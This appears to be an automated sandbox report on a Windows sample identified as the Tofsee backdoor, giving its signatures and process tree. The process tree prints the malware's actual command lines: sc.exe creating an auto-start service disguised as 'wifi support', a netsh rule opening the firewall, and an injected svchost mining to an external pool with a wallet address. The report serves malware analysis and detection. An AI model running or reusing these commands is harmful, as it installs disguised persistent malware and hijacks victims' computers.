Overview

overview

10

Static

static

1036e55bae...e4.exe

windows7_x64

10

1036e55bae...e4.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    12/11/2020, 14:12

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General

  • Target
    1036e55bae6a12d05677589f661b60d4c46fa92b814b4610ccc4a85eb30bb0e4.exe
  • Size 14.9MB
  • Sample201112-bcj6tfb55a
  • SHA256 1036e55bae6a12d05677589f661b60d4c46fa92b814b4610ccc4a85eb30bb0e4
  • MD5 SHA1 SHA512
Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1036e55bae6a12d05677589f661b60d4c46fa92b814b4610ccc4a85eb30bb0e4.exe
    "C:\Users\Admin\AppData\Local\Temp\1036e55bae6a12d05677589f661b60d4c46fa92b814b4610ccc4a85eb30bb0e4.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1004
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mcjdwxze\
      2⤵
        PID:1696
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ultrbwdr.exe" C:\Windows\SysWOW64\mcjdwxze\
        2⤵
          PID:1316
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mcjdwxze binPath= "C:\Windows\SysWOW64\mcjdwxze\ultrbwdr.exe /d\"C:\Users\Admin\AppData\Local\Temp\1036e55bae6a12d05677589f661b60d4c46fa92b814b4610ccc4a85eb30bb0e4.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:848
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description mcjdwxze "wifi internet conection"
            2⤵
              PID:1732
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start mcjdwxze
              2⤵
                PID:1020
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:852
            • C:\Windows\SysWOW64\mcjdwxze\ultrbwdr.exe
              C:\Windows\SysWOW64\mcjdwxze\ultrbwdr.exe /d"C:\Users\Admin\AppData\Local\Temp\1036e55bae6a12d05677589f661b60d4c46fa92b814b4610ccc4a85eb30bb0e4.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:528
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:620
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1288

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  memory/528-11-0x0000000001000000-0x0000000001011000-memory.dmp
                  Download

                  memory/528-10-0x0000000000AB3000-0x0000000000AB4000-memory.dmp
                  Download

                  memory/620-16-0x0000000000160000-0x0000000000166000-memory.dmp
                  Download

                  memory/620-18-0x0000000000220000-0x0000000000225000-memory.dmp
                  Download

                  memory/620-20-0x0000000000270000-0x0000000000277000-memory.dmp
                  Download

                  memory/620-19-0x0000000005780000-0x0000000005B8B000-memory.dmp
                  Download

                  memory/620-17-0x0000000000210000-0x0000000000220000-memory.dmp
                  Download

                  memory/620-15-0x0000000001D20000-0x0000000001F2F000-memory.dmp
                  Download

                  memory/620-12-0x0000000000080000-0x0000000000095000-memory.dmp
                  Download

                  memory/1004-1-0x0000000002380000-0x0000000002391000-memory.dmp
                  Download

                  memory/1004-0-0x0000000000B13000-0x0000000000B14000-memory.dmp
                  Download

                  memory/1288-21-0x0000000000140000-0x0000000000231000-memory.dmp
                  Download

                  memory/1288-22-0x0000000000140000-0x0000000000231000-memory.dmp
                  Download